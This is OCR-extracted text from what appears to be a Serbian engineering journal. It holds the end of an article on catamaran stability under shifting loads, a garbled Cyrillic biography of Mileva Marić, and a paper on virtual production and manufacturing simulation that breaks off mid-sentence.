derivacije 6=7°. Tako imamo obrazac(A.15)

Dv

M L= red | ef ,
g r gde je:
vred=(75-80%) od najvece brzine, a:

r
—=0125L*"°

r se dobija iz obrasca po Thieme-u L

L — duzina katamarana u (m).

A.1.5 Pomeranje tereta
Cesto se neki predmet na katamaranu pomera na pr.
premestanje motora, prelaz putnika i dr. Sto se sve

=Cosd

naziva pomeranje tereta. Da bi se utvrdile posledice
potrebno je rastaviti pomeranje tereta na komponente
kretanja i to:

e U vertikalnom smeru i

e horizontalno u uzduznom i

e popre¢nom smeru.

Kao polazno stanje uzeto je da da katamaran gazi
ravnomerno sa gazenjem T0. | ako redosled pomeranja
moze biti 1 drukgiji, radi jednostavnosti raCunanja, uvek
se uzima prvo da je izvrSeno vertikalno pomeranje.

A.1.5.1 Vertikalno pomeranje

Ako teret tezine p pomeri za odstojanje ez na vise,
teziste carske lade pomerice se iz tacke Go u tacku G1.
Posto je istisnuc¢e vode i po veli¢ini i po obliku isto, to
je takode polozaj tatke Mo i Fo konstantan. Novi
momenat stabiliteta bi¢e vidi slika.A.48, formula (A.16)

Mstl = Do ’ I\/IoGl -sin P
M., =D, -(M,G,+G,G,)sine

Kako je pomeranje teZiSta
formulom (A.17):

GOGl = pD.eZ )

o
to imamo ili nova metacentarska visina je data sa
izrazom(A.18):

_p-e
M,G, = MG, ¥ -
0 .
Predznak (-) je za podizanje tereta, a (+) za
spustanje tereta. Zakljucak bi bio da svako podizanje

tereta smanjuje stabilitet, a spustanje tereta povecava
stabilitet.

sistema dato sa

IFCosd

W Moosd cosg

: _ il

Slika.A.45 Okretanje katamarana

Slika.A.46 Sile tokom okretanja
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Slika.A.47 Kretanje sa palube na krmu Iz

A.1.5.2 Poprecno pomeranje

Kad se teret p pomeri za duzinu ey normalno na
simetrijsku ravan XZ, tada se teZiSte sistema pomeri
paralelno iz Go u Gl, (sl.A.48). Time je ravnoteza
katamarana poremecena 1 nastali spreg zakrece
katamaran na stranu na koju je prenet teret. Pri tom se
menja oblik istisnuca tako da se teziste istisnuca pomera
iz Fo u Fo, kada se kod ugla ¢ ponovo uspostavlja
ravnoteza. Tacke Fo i G1 padaju na normalu na novu
vodnu liniju VLe.

1z pravouglog trougla MoGoGl1, sledi izraz za ugao
nagiba(A.19):

G,G,
Ve
oo ili kako je izraz(A.20):
-€
G,G, = D% ,
D, to je
p-€,
—t —
ee Do 'MoGo

Ukoliko se radi o ve¢im nagibima ¢ od (10-12)°, a
katamaran se priblizava po obliku katamaranu uspravnih
rebara, tada se mora uzeti u obzir promenje na
metacentarskoj visini (A.21):

MlGo = MOGO +% MoFo tgz(P
tako da je formula (A.22):
-e
tge = ke
D, [

MoGo + ; MoFo ’ tgzq))
Promena gazenja AT je (A.23):
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Slika.A.48 Kretanje turista levo, desno ey
AT = E tgo
2
Rezultujuca gaZenja na bokoviina su data sa(A.24):
T, =T, FAT Ty=T, AT
z ° , 0dnosno °

Kako se vidi pri popre¢nom pomeranju tereta ne
menja se stabilitet ve¢ samo nagib katamarana, odnosno
jedno bo¢no gazenje se smanjuje, a drugo povecava.

A.1.5.3 UzduZno pomeranje putnika

Prilikom pomeranja tereta horizontalno po duzini
nastaju sli¢ne posledice kao i kod popre¢nog pomeranja.
No zbog nesimetri¢nosti katamarana u uzduznom
smislu, ipak je potrebno nesto o tome kazati (sl A.49).
Pomeranjem tereta p za duzinu ex pomera se teZiSte
sistema paralelno za iznos(A.25):

p-e

0
Kako je ravnoteza poremecena, nastali spreg nakrece
katamaran, dok novo teziSte istisnu¢a F ne padne sa
teziStem G1, na normalu na novu vodenu liniju VLe.
Ugao ¢ kod kojeg ¢e ravnoteza biti uspostavljena dobija
se iz pravouglog trougla MLGoG1, (A.26)

GOGl _ p-€,
MG D, MG,

GoGl =

tgp = -
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Slika.A.49a Statika carske lade tokom pomeranja putnika

Slika.A.49b Levi i desni ponton katamarana

Slika A.49c Ulaz turista na Carsku ladu

Kako je veli¢ina G,F, u odnosu na veli¢inu
G,F,
-0,01
M F M.F,

mala (pr. Lo ), a sem toga tacan
polozaj tezista Go u prvim fazama projektovanja je
nepoznat, $to se moze prakti¢no uzeti da je

M, G,-M_F
tako dobijamo izraz(A.’27):
p-€,
Do ‘M LFo

Daljim upros¢avanjem moze se dobiti izraz slicne
ta¢nosti. Kako je (A.28)

Do 'MLFO :ylLo

(P:

Ako je y=10 (pima vrednost 1000-1025 kg/m3)

imamo (A.29):
= p .e)(
Do : ILo ’

gde je: ILo moment inercije vodene linije VLo na kojoj
je katamaran plivao pre prenosSenja tereta. Pretega odn.
promena gaZenja na pramcu v i krmi h dobija se iz
pravouglih trouglova koje prave VL¢ Vlo, formula
(A.30)

v=atge=a- o,
pa se dobija izraz (A.31);

h=b-tge-be,
daljim uvr$tavanjem rezultira (A.32)

a-M

V=
ILo ,

i na kraju jednakost (A.33)

h_bM

ILO

u kojoj su: a odn. b odstojanje teZista VLo od prednjeg
odnosno zadnjeg perpendikulara.

M=p-ex- momenat prenosenja tereta
Gazenje na pramcu moze se opisati formulom (A.35),:

T, =T,V
odnosno gazenje krme izrazom (A.36)
T, =T,FVv

Uobicajen je nacin da se pretega odreduje na
osnovu jednacine pretege vl odnosno hl ili jedini¢nog
momenta M1, koji su dati u dijagramskom listu. Kako je
jedini¢na pretega ona koju izaziva momenat M od 1000
kNm (kod manjih jedinica 100 kNm) to se stvarna
pretega v odnosno h za dati momenat M dobija iz
proporcije(A.37):



M

V=V, -—

m

odnosno (A.38):
h=h, -

m

JednaCina pretega se dobija uvrStavanjem za
M=1000 kNm (A.39),

h, = b. 1000
Lo ,
odnosno(A.40)
1000

L=
ILo

Jediniéni momenat M1 je momenat koji izaziva
ukupnu pretegu t od 1m. Kako je ukupna pretega
(sl.A.49) ,(A.41)

t=L-tgp= M-L
ILo
to je jedinicni momenat(A.42):
=Mk vy le
I, L

Ukupnu pretegu usled momenta M dobijamo iz

odnosa(A.43): ,
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a pretege na pramcu v odnosno krmi h kao (A.44)

v:i-t
L

odnosno(A.45): 7

h=2t
L

Pomeranjem tereta po palubi menja se gaz pramca i
krme bez uticaja na stabilnost katamarana.Ukoliko u
poCetku katamaran ne gazi ravnomerno nego ima
pretegu, proracun se moze obaviti na isti nacin, koriste¢i
podatke za uspravan polozaj katamarana. Do ugla
pretege 1° greske Ce biti prakticno zanemarljive.

LITERATURA

[1] Ribar B.:,,Teorija broda*“ Masinski fakultet Beograd
1986.

[2] Muli¢ V.:,,Motori i vozila ispitivanje
motora“,autorizovana predavanjaSkripta, Zrenjanin,
2003.

[3] Muli¢ V.:, Hidraulika i pneumatika zbirka
zadatak®, VTSSS,Zrenjanin, 2014.

[4] Muli¢ V.:,,Proracun stabiliteta i

tehnicka dokumentacija Carske lade®, Ribnjak Ecka,
Belo Blato, 2007.

[5] WWW.TOHATSU. COM.



MUJIEBA MAPUH AJHIITAJH
(1854 — 1935)

Musaesa Mapuh AjHmTajH,
Cynpyra reHujajgHor Hay4YHHUKa
IUIEMEHHUTA MajKa, KOayTop
TeopHuje peaaTuBuTera. Rohena 19.
nenemMopa 1875. roqune y Turteny y
Bojsoaunu. llIkonoBaja ce y
HosowMm can, Cpemckoj
MurtpoBuum, Hlanny, 3arpe0y,
Hupuxy, Xajaeaodepry. 3a Bpeme
OopaBKa Ha YHUBEP3UTETY Y
Xajnenoepry 1897-98 roqune
npoy4asaJia ()oToeTeKTPUIHI
edexaT Kox HOOEIOBLA,
npogecopa Jlenapaa, a koja
npogecopa MUHKOBCKOI yUYWJjia 0
4YeTBOPOJAUMEH3HOHAHO]
reoMeTpHUjH Koje je 0CHOBA Teopuje
peaatuBureTa. Mumiesa Mapuh je
0mnJia He caMO KMBOTHH CAallyTHUK
»CBETCKOI TeHUjAJTHOT HAYYHHUKA*
U IJIEMEHUTA MajKa, Hero u
0J1MCTAB HAYYHH YM.

20



VIRTUELNA PROIZVODNJA

VIRTUAL PRODUCTION

MSc PREDRAG MOSORINSKI,
Tehnicka skola Zrenjanin
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Visoka tehnicka Skola strukovnih studija u Zrenjaninu

REZIME

Virtualna proizvodnja se moze definisati kao
integrisano proizvodno okruzenje u kojem se mogu
izvrSavati simulacije procesa obrade uz pomo¢ racunara.
Neprestanim simulacijama sa promenom odgovarajucih
parametara se zeli do¢i do optimalnog resenja gotovog
proizvoda, ¢ak i pre samog postavljanja pogona. U
virtualnom okruzenju se uspostavlja interakcija izmedu
konstruktora, menadzera, tehnologa, kontrolora i svih
bitnih i uticalnih elemenata na proces proizvodnje. Na
ovaj nacin je uspostavljen multidisciplinaran pristup
organizovanja procesa proizvodnje kako bi se troskovi
minimizirali a proizvod unapredivao do potrebnog nivoa
i postigli primarni efekti konkurentnosti  sve
zahtevnijeg trzista. Stanje imerzije u kojem se korisnik
nalazi (psihicko stanje virtuelne slike u stvarnom
okruzenju), omogucava potpunu interakciju sa
problemom koji se reSava i predlaganje optimalnog
reSenja bez velikih troskova i1 prethodnih ulaganja.
Virtuelni proces ukljucuje i samog korisnika buduceg
proizvoda u proces dizajniranja, testiranja i
prilagodavanja sopstvenim zahtevima i potrebama kako
bi se na vreme zadovoljili zahtevi i najprobirljivijih i
time prosirila baza potrosaca.

Kljuéne reci: virtuelna proizvodnja, simulacije
procesa proizvodnje, imerzivno okruzenje

ABSTRACT

Virtual production can be defined as an integrated
production environment in which they can perform
simulation processing by a computer. By constantly
simulations with changing the corresponding parameters
the goal is to reach the optimal solution of the finished
product, even before the installation of the drive. The
virtual environment is established interaction between
the constructors, managers, technologists, regulators,
and all relevant and influental elements in the
production process. In this way it is established a
multidisciplinary approach to the organization of the
production process in order to minimize costs and
improved the product to the required level and to
achieve primary effects for competitiveness in
increasingly demanding market. Condition  of
immersion in which the user is located (mental state of a
virtual image in a real environment), allows complete
interaction with the problem to be solved and proposing
optimal solutions without the high costs and previous
investments. Virtual process includes the users of future
products in the process of designing, testing and
adjusting its own requirements and needs in order to
timely satisfy the requirements of the most demanding
and thus expanded consumer base.

Key words: virtual manufacturing, simulation of
production processes, immersive environment

1. UvOD

Savremeni koncept razvoja proizvodnje
podrazumeva kratak period realizacije neposredne
proizvodnje od trenutka zamisli odredenog proizvoda,
montaze, pakovanja pa i transporta proizvoda do
krajnjeg potrosaca. Dostizanje ovakvih ciljeva zahteva
angazovanje i neposrednu saradnju svih Ccinilaca u
pripremi proizvodnje, neposredne obrade, fazne i
zavrS$ne kontrole i struktura menadZmenta od vrha ka
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najmanjim ¢iniocima. Postavljeni rokovi plasmana
proizvoda se moraju ispoStovati a svako kaSnjenje na
trzistu  podrazumeva  vece  gubitke,  gubitak
konkurentnosti, pa u krajnjem slucaju, eliminaciju sa
sve zahtevnijeg trzi$ta roba i usluga. Ovakvi principi su
danas neprihvatljivi a mogu se predvideti i preduhitriti
boljom organizacijom, fleksibilno$¢u, mobilnoséu i
ubrzanjem ciklusa neposredne proizvodnje.

Kako bi se wubrzao proizvodni proces
intenzivirani su elementi rezima rezanja, unapredivane



masine i pogon istih, povec¢avana ta¢nost istih (razvojem
KUMA-kompjuterski  upravljanih masina alatki),
razvijani mnogi specifi¢ni alati i njihovi materijali,
menjana je struktura proizvodnog pogona i organizacija
rada i jo§ mnogo toga. Ove mere su donekle ubrzali
koncept razvoja novih proizvoda a indikativan primer je
auto industrija. Ranije je novi model automobila izlazio
na svakih desetak godina, pa i duZe, dok je danas taj
period skracen na svega 5-6 godina. Gotovo da je
neprihvatljivo da se taj period odrzi i na trenutnom
nivou i ve¢ se prave projekcije skracenja i ,danas
uobi¢ajenog, vremena proizvodnje. Cak se i u izradi
projekcije produktivnosti, prave kalkulacije na dnevnom
nivou a ne, dosad uobicajeno, na godisnjem.

Pored osnhovne, neposredne proizvodnje,
pristupilo se i organizaciji menadzmenta u cilju
skracenja vremena izrade proizvoda, marketinga,
transporta i jo§ mnogih drugih funkcionalnih faktora
koji na bilo koji nagin uti¢u na trZiSne zahteve[l].
Gotovo da postoji trka kompanija u procesu plasmana
novog proizvoda na trziStu, kako bi se dostigla liderska
pozicija i nadvladala konkurencija ve¢ u samom startu.
Cak se i u samoj obuci proizvodnih radnika i
konstruktora pribeglo skrac¢enju vremena obuke kako bi
se za kratko vreme ukljucili u proizvodne tokove.

Sve ovo ne bi bhilo moguce bez razvoja
specifi¢nih tehnologija koje mogu odgovoriti na sve
postavljene zadatke. Ta tehnologija se, jednostavno,
moze svesti na dve reci-Virtualna proizvodnja (engl.
Virtual manufacturing). Razvoj racunarske tehnike,
kako hardvera, a narocito softvera, omogucava razvoj
ovog novog koncepta prihvatljivog za nove trzisne
odnose. Softveri omogucavaju simulaciju svake faze
proizvodnog procesa kako bi se na vrema, pre realne
proizvodnje, uocili nedostaci i otklonila uska grla u
proizvodnji[2].

Kako bi se podrzala virtualna proizvodnja i
bitno skratilo vreme izrade i plasmana novih proizvoda,
razvijane su 1 mnoge druge oblasti podrske
proizvodnji[3], kao §to su, brzi razvoj proizvoda (Rapid
Product  Development),  simultani  inZenjering
(Concurrent Engineering), brza izrada prototipova
(Rapid Prototyping) i jos niz drugih.

Obzirom na sve probirljivije trziste, kompletna
filozofija organizacije i upravljanja proizvodnje dobija
potpuno novi smisao[4].

2. TEHNOLOSKE CELINE VIRTUELNE
PROIZVODNJE

Proizvodno masinstvo je u domenu virtalne
proizvodnje pokusalo da odgonetne gde je sve moguce
da se pojave potencijalni problemi unutar stvarne
proizvodnje i da se zahvaljuju¢i principu virtualnosti svi
problemi otklone jo§ daleko pre postavljanja stvarne
proizvodnje u pogonima. Resavanje mnogih tehnoloskih
i konstrukcionih problema tokom projektovanja pogona
je dovelo do smanjenja troSkova proizvodnje, bolje
iskoriS¢enosti raspolozivih kapaciteta, smanjenje i
potpuno eliminisanje potencijalnih Skartova proizvoda,
a sve zajedno je imalo za cilj povecanje kvaliteta
proizvoda, njegovu optimizaciju i, najpotrebnije,
snizavanje ukupnih troSkova proizvodnje.

Prikaz procesa virtuelne proizvodnje nam jasno
pokazuje gde je sve moguée primeniti princip
virtualnosti. Osnovna celina se sastoji od tri
prepoznatljiva dela[5]:

1 Virtuelno projektovanje proizvoda

2 Virtuelno upravljanje

3 Virtuelni proizvodni proces

3. VIRTUELNO PROJEKTOVANJE
(MODELIRANJE)

Virtuelno projektovanje je proces u kojem se
projektant (konstruktor) suocava sa idejnim reSenjem
buduceg proizvoda 1 prenosi svoju zamisao u
virtualnom okruzenju. Sam projektant se u sustini
pretpostavlja kao krajnji korisnik datog proizvoda i time
je od pocetka u prakticnoj interakciji sa buduéim
proizvodom, §to mu omogucava odgovarajuce napredno
softversko resenje Virtuelno okruzenje simulira
prirodno okruzenje i daje konstruktoru slobodu
»lzrazavanja“ kao da je u stvarnom i tada se namece
zakljudak da je proces virtuelnog projektovanja potpuno
prirodan proces u kojem se u potpunosti istice
kreativnost  projektanta (sl.1.) Ovaj princip je
neuobiajen u  klasicnom  sagledavanju  uloge
konstruktora i pojedinih faza konstruisanja.

Slika 1. Virtuelno projektovanje proizvoda
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Kao glavni zadatak virtuelnog projektovanja
proizvoda je dolazak do optimalnog reSenja oblika
proizvoda i definisanje potrebnog tehnoloskog postupka
izrade. Medutim, samo zadrZzavanje na izradi
projektovanog modela proizvoda nije dovoljno, kao Sto
je to bila zavr$na faza ranijeg principa projektovanja,
vec se trazi i definisanje virtualnog prototipa i procena
troskova u posmatranoj fazi virtualne proizvodnje. Na
ovaj nacin je zaokruzena celina virtuelnog projektovanja
i moze se pristupiti analizi i promenama ukoliko bilo
koji segment ne zadovoljava, a narocito prihvatljivost
troskova.

Virtuelni prototip je u sustini 3D model, dobijen
objektivno orijentisanim pristupom u odgovaraju¢em
softverskom paketu, sa kojim je moguée izvrSiti
potrebne simulacije, ispitivanje, poboljSavanje i
usavr§avanje kao i sve ostale korake potrebne za
adekvatnu pripremu proizvodnje[6]. Sam 3D model u
sustini nije kompletiran ako nije podrzan odgovarajué¢im
algoritmom pretpostavljenog softvera koji se koristi za
manipulaciju modelom u imerzivnom okruZenju.
Struktura virtualnog prototipa je data je slici 2.

Virtual Prototype

3D Mechanical Model Control Design Software

Slika 2. Struktura virtuelnog prototipa

Kako bismo formirali pravilan virtuelni prototip
moramo se drzati i odredenih zahteva koji se moraju
zadovoljiti (sl. 3) a to su ne samo Zeljeni oblik, nego i
zahtev za ergonomijom, sigurnosti, funkcionalnosti i
narocito za tehnologi¢noséu, tj mogucom tehnoloskom
obradom.

U savremenom okruZenju virtualni prototip se
koristi za prezentacije korisnicima, pa je tako i
prezentacija novih bolida ¢uvenog ,auto cirkusa“
formule 1 postalo standard. Umesto prezentacije samog
bolida, sa ¢uvenim hostesama i voza¢ima, prikazuje se
virtualni model kao zamena.

4. VIRTUELNO UPRAVLJANJE

Planiranje i upravljanje proizvodnom tehnologijom,
predstavlja oblast od posebnog Znacaja savremene
naucne teorije i prakse organizacije menadzmenta[l].

Izazovi  savremenog upravljanja i  planiranja
podrazumevaju multidisciplinarnost i postavljanje novih
standarda. Savremeni menadZeri pitanje razvoja,
tehnoloskih inovacija, zamene starih novijim i

savremenijim tehnologijama, efikasne primene uz bolje
ekonomske efekte i sl., nikada ne prepustaju slucaju ili
nikada ne reaguju stihijski. Proces planiranja i
upravljanje tehnologijom je jedan od fundamentalnih
zadataka modernog menadzmenta u celom svetu. Ovaj
proces je uslovljen sve jatom konkurencijom na trzistu
roba i usluga i, slobodno se moze reéi, traje neprekidno i
bez prava na velike oscilacije.

Virtuelno okruzenje fabrickog pogona je
nezamenljiva alatka za istrazivanje na temu kakav uticaj
na produktivnost imaju razlicite kombinacije proizvoda,
raspored merenja i kontrole unutar pogona, razliciti
tokovi materijala, obucenost i iskustvo radnika i sl.
Simulacijom razli¢itih procesa i variranjem tehnoloskih
celina moZemo na vreme uociti uska grla proizvodnje i
na vreme ih otkloniti. Pravilna analiza i donoSenje
odgovarajucih resenja su moguca tek kada se podrobnije
analizira stanje na trZi$tu i uoci stanje potreba odredenih
roba ili usluga (SWAT analiza)[8].

e

Virtualni
prototip

Funkcionalni
zahtev

Tehnoloski
zahtev /

wee -
\

"
e

Slika 3. Kriterijumi za kreiranjem virtuelnog prototipa [7]
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Visestrukim virtualnim simulacijama procesa se
tehnolozi upoznaju sa tehnoloskim kombinacijama koja
do tada nisu bila poznata a mozda ni uobicajena.
Narocito je vazno uoditi sistem zastite radnika i opreme
kako bi se i u, potencijalnim Kkriti¢cnim situacijama,
pravilno reagovalo. Mnogo je primera u danaS$njem
vremenu u kojima su izgubljeni ljudski Zivoti ili je
napravljena velika materijalna Steta zbog neadekvatnog
pristupa proizvodnim linijama ili neadekvatnim merama
zastite.

Virtuelno obucavanje radnika ima u dana$nje
vreme izuzetan znacaj a u konacnoj obuci i sticanju
adekvatnih vestina i znanja potrebnih za manipulaciju
na odredenoj masini, virtualne tehnologije su gotovo
neprevazidene. Danas obuka savremenog pilota,
hirurga, radnika u proizvodnji i montazi je, prakti¢no,
nezamisliva bez virtualnog okruzenja. Polaznik obuke
ovladava potrebnim vestinama na verno simuliranom
modelu stvarnog uredaja, pogona ili prevoznog sredstva.
Obzirom da se nalazi u stanju imerzije, u
trodimenzionalnom virtualnom okruzenju, uz adekvatnu
opremu moze da dozivi potpunu interakciju sa
okruZzenjem na planu senzualnosti, kretanju, audio-
vizuelnom uzitku[5] i sl. Na ovaj nadin se stvaraju
realisti¢ni uslovi koji u velikoj meri odrazavaju stvarno
okruzenje Pazljivim planiranjem i sprovodenjem
sistema virtualne obuke i, kasnijim kombinovanjem sa
intenzivnom prakticnom obukom, produbljuje se
motivacija i pojacava se koncentracija polaznika i
stvaraju se preduslovi za savladavanje najsloZenijih
zadataka (sl.4).

5. VIRTUELNI PROIZVODNI PROCES

Optimizovati  proces proizvodnje zna¢i nha
adekvatan nadin iskoristiti raspolozive resurse (masina,
alat, obradak, pribor) [9], kako bi se proces proizvodnje
sveo na prihvatljive troskove. Sama masina je veliki

CAD/CAM
Workstation

Prinfer/ .
Plottar /L.’
e
—~—
Windows NT

Workstation
DNC Sofware

potroSac energije, alat i pribor se haba u vecoj ili manjoj
meri i potrebno je predvideti periodi¢nu zamenu, radni
predmet se zagreva pri obradi i potrebno je izvrsiti
hladenje adekvatnim sredstvom, a na sve ovo treba i
dodati potrosnju energije u neposrednom okruZenju
radnog mesta. Pitanje je kako racionalizovati sve ove
pretpostavke i dobiti adekvatnu obradu uz velike ustede.

Princip  virtuelne proizvodnje moze dati
adekvatan odgovor na vecinu ovih zahteva. Osnovna
postavka virtualnog proizvodnog pogona data je na slici
5. Pravilan izbor maSine uz optimizaciju parametara
rezima obrade i neprestane simulacije procesa obrade u
datom okruzenju dace jasan i nedvosmislen odgovor
koje je najoptimalnije re$enje procesa neposredne
masinske obrade[10].

Velike baze podataka unutar adekvatnog
softverskog paketa (sl.6) omogucavaju izbor razlicitih
alata, materijala alata i obratka, adekvatan prilaz alata
radnom predmetu kako bi se §to manje habao i jo$
mnogo drugih Kkorisnih virtualnih alata, koje nam daju
mogucénost realisticnog prikaza stvarnih uslova unutar
proizvodnih procesa.

Slika 4. Virtuelna obuka servisera racunarskih
komponenti

Ethernat

MOXA

Machine Cenfer,
CNC
P

% Milling Moching

Eleciric Discharge
Maochine

Wire Cutling
Mockine

Slika 5. Struktura virtuelnog proizvodnog pogona
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Slika 6. Baze podataka u odgovaraju¢em softverskom paketu

Simulacije montaze u virtuelnom okruZenju nam
daju odgovor na pitanje koliko slozen proces montaze
odredenih pozicija moze biti u adekvatnom okruZenju.
Karakteristican primer je montaza i demontaza
turbinskog kola na hidrocentralama, kada se u vrlo
sku¢enom prostoru mora izvr§iti adekvatan remont
postrojenja na licu mesta. Takode, montaza elektro
mreznih instalacija, u vrlo slozenim vremenskim
uslovima, se moze na adekvatan nadin simulirati i na
vreme uociti kriticne faze rada. Proces virtualne
montaze (sl.7) je jedan od prvih virtualnih procesa koji
je primenjen za obucavanje radnika na proizvodnim
linijama u automobilskoj industriji. Ova industrija je, u
sustini, vrlo fleksibilna i prilagodljiva razli¢itim

zahtevima trzi§ta. Danas se modeli prevoznih sredstava
menjaju u kratkom vremenskom intervalu, a za razlicite
modele se postavljaju nove proizvodne linije koje
zahtevaju potpuno novu obuku radnika u proizvodnji.
Sposobnost prilagodavanja u novonastalim okolnostima,
za kratak vremenski period, omogucava povecanje
konkurentnosti na trziStu i doprinosi sticanju liderske
pozicije. Henri Ford je na vreme shvatio da se
produktivnost rada postize uspostavljanjem pravilnih
relacija na liniji za montaZu a prvenstveno skracéenjem
vremena dopreme proizvoda za montazu do radnog
mesta. Uspostavljanjem pogona za serijsku proizvodnju
omogucio je visoku produkciju svojih automobila i
stekao lidersku poziciju onog vremena.

Slika 7. Virtuelna montaza automobila[11]
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Virtuelna kontrola proizvoda predstavlja veoma
vazan segment virtualne proizvodnje. Sama kontrola
kvaliteta proizvoda omogucava proveru metodologije
merenja 1 kontrole, proveru moguc¢ih kolizija,
identifikaciju uticajnih parametara na ta¢nost merenja i
dr. Koliko je vaZzan proces kontrole i merenja
odgovarajucih parametara i zavr$nog kvaliteta, vidi se u
ogromnom broju vozila povucenih sa trzista u poslednje
vreme. Gotovo da nema veceg ili manjeg svetski
poznatog proizvodaca automobila na ¢ijim serijama nije
uocen odreden problem sa vozilom u toku eksploatacije,
a krajnji ishod je povlaCenje date serije sa trzista radi
prepravke. To iziskuje ogromne tro§kove, Steti ugledu
proizvodaca i iziskuje mobilnost timova za odrzavanje.
Kao glavni uzrok ovakvog stanja je nepotpuna ili
neadekvatna zavr$na kontrola proizvoda. Mnoge
kompanije smanjuju troSkove proizvodnje, upravo,
eliminicijom ili umanjenim dejstvom kontrolora gotovih
proizvoda. Zbog svega, kontrola proizvoda i obuka
kontrolora mora biti adekvatno zastupljena u
proizvodnji a primenjene metode i uredaji za kontrolu
moraju biti fleksibilne i stalno usavrSavane.

6. OPRAVDANOST PRIMENE VIRTUELNE
PROIZVODNJE

Cak i male promene u proizvodnji mogu imati
znacajne efekte na kvalitet proizvoda a narocito
na njegovu krajnu cenu kostanja. Virtuelna proizvodnja,
upravo, treba da da ocekivani odgovor na sniZenje
krajnje cene kostanja proizvoda, uz predvidena
inicijalna ulaganja, a da se ni na koji nacin ne narusi
kvalitet krajnjeg proizvoda niti probiju predvideni
rokovi isporuke. U svakom slu¢aju o¢ekivane prednosti
virtualne proizvodnje su sledece[3]:

a) Skracenje vremena predvidenog za idejno
oblikovanje proizvoda (zamisljeni proizvod) pa
sve do plasmana na trzistu ili tzv proces time-to-
market.

b) Redukovanje troskova proizvodnje,  manji

zapreminski gubitak gotovog proizvoda u odnosu
na pripremak, manji manipulativni troskovi unutar
masinske  obrade, optimiziranje =~ procesa
proizvodnje izborom novijih modela masina
zasnovanih na CNC upravljanju, brza razmena
informacija 1  skradenje  tokova tehnicke
dokumentacije  unutar  pogona,  adaptivno
upravljanje proizvodnjim procesima i dr...

U danasnje vreme je izuzetno vazno uspostaviti
pravilne relacije izmedu nauc¢nih pretpostavki i stvarne
proizvodnje kako bi se dobili ocekivani ekonomski
efekti. Postizanje optimalnih relacija izmedu, Cesto i
potpuno suprotnih zahteva, nije lako. Karakteristican
primer je postizanje Sto manje odbacenog materijala sa
masinskog dela a na ustrb proizvodnosti. Kako uskladiti
ova dva potpuno suprotna zahteva. Poznato je da
proizvodnost predstavlja koli¢inu skinute strugotine u
jedinici vremena a sa zahtevom o manjoj koli¢ini
obradenog materijala proizvodnost opada. Takode je
karakteristiCan proizvodni zahtev za povecanjem
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kvaliteta obradenog dela u §to kratem vremenskom
periodu. Povecanje kvaliteta obradene povrSine je
vezano sa povecanjem brzine rezanja (broja obrtaja) a
smanjenjem posmaka i dubine rezanja. Sa ovakvim
zahtevom se smanjuje postojanost alata i potrebno ga je
¢esce ostriti tj predvideti vreme zastoja rada masine. Na
ovaj nacin smo opet dobili dva suprotna efekta koja
mogu narusiti proizvodni proces. Kako bi se zadovoljio
uslov za skraéenjem vremena obrade a zadrZzao zahtev
za smanjenjem postojanosti alata, mora se obezbediti
automatska zamena alata u predvidenom vremenu. Taj
uslov je mogu¢ primenom KUMA (CNC) maSina u
proizvodnji kod kojih se pomocu mehanicke ruke vrsi
zamena alata u kratkom inervalu, bez subjektivnog
uticaja radnika.

Sve prethodno nam govori da je jako vazno prici
ozbiljnijoj tehno-ekonomskoj analizi pre svakog daljeg
ulaganja. Pravilna analiza je moguéa pomocu simulacija
svake faze proizvodnje, uocavanje svakog dela
proizvodnog procesa i eliminisanje nezeljenih posledica
variranjem razliCitih uticaja na proizvodni proces. U
postizanju ovakvih efekata virtualna proizvodnja, tj
simulacija rada na racunarima, je nezamenljiv proces.
Ranija proucavanja su pretpostavljala postavljanje
modela proizvodnih procesa na kojem su se vrsila
eksperimentalna istrazivanja[8]. Model je umanjeni
proizvodni pogon u kojem je moguca ispitivati sve
trazene faze posmatranja, mnogo je jeftinije istrazivanje
na modelu nego u samom pogonu, i mnogostruko su
manji resursi vezani za ispitivanja. Medutim, i sam
model ima svoje vece i manje nedostatke, nije jeftina
izrada modela a i ne mogu se simulirati ba§ sve
predvidene faze proizvodnih procesa.

7. ZAKLJUCAK

Virtuelna proizvodnja je proces koji u potpunosti
podrzava zahteve savremenih kompanija koje svoje
proizvode nude sve probirljivijem trzistu. Gotovo da je
nezamislivo da se, u savremenim trzi$nim uslovima, ne
ispita do najmanjeg detalja Sta je to Sto je aktuelno na
trziStu, po kojoj ceni se proizvod moze ponuditi
buduc¢im korisnicima i koliki je ocekivani profit u
optimalnom periodu. Biti prvi na trzistu i ponuditi
atraktivan proizvod je zelja svakog ozbiljnog i
ambicioznog menadzera. Ako se ovome doda i
prihvatljiva cena proizvoda, zasnovana na minimalnim
troSkovima proizvodnje, onda se san uspeSnog
menadzera pretvara u najveée zadovoljstvo. Jo§ je
¢uveni osniva¢ Ford kompanije, Henri Ford (1863-
1947), rekao da (njegov) proizvod mora biti dostupan
svakom Amerikancu, misle¢i na modele svojih
automobila. Kako bi zadovoljio svoju pretpostavku,
morao je taj proizvod ponuditi po prihvatljivoj ceni. Da
bi to postigao, organizovao je serijsku proizvodnju
vozila, skratio vreme izrade pojedinih modela i u
potpunosti eliminisao Skart proizvode, tj minimizirao je
gubitke. To je sve uradio u realnoj proizvodnji,
modifikujuéi proizvodne procese na licu mesta i uz
prihvatjive vremenske zastoje. Ako je to uspeo u



stvarnosti, kolike bi komparativne prednosti mogle da
mu obezbede danas pristupacne tehnologije, narocito
virtualna proizvodnja, a sa njome i virtualna montaza
kao i svi ostali segmenti proizvodnje zasnovani na
virtuelnosti.

Virtuelna proizvodnja je iz korena promenila
koncept stvarne proizvodnje. Stvarna proizvodnja je
upravo i zamiSljena u virtualnom okruzenju, tako da
mozemo reci da su virtualna i stvarna proizvodnja dve
strane iste novéanice.

Danas smo u mnogome obogaceni primenom
klju¢nih  komponenti potrebnih  za simulaciju u
virtuelnom okruzenju. Primena kompjutera sa svojim
tehnickim karakteristikama omoguc¢ava simulacije i
najslozenijih situacija koja se mogu pretpostaviti u
stvarnosti. Potpuno prihvatanje virtualnog prototipa na
kojem je mogucée izvrsiti neophodna ispitivanja i obuke
omoguc¢ava nam sve potrebne modifikacije sve do
prihvatljivog nivoa razvoja i dizajna. Virtualni prototip
je narocito znacajan u specifiénim nau¢nim oblastima,
medicini npr., kako bi se na njemu mogla izvrsiti
potrebna obuka sa nebrojenim ponavljanjem i na taj
nacin izbeglo ono najvaznije, gubitak ljudskog Zivota na
operacionom stolu.

Moderne kompanije su u mogucnosti da, razvojem
koncepta virtuelne proizvodnje, ponude trziStu
najprihvatljivije uslove plasmana svojih proizvoda uz
korektan odnos cene i kvaliteta. Brojne oblasti u kojima
virtualnalnost ima svoju primenu je mozda najvece
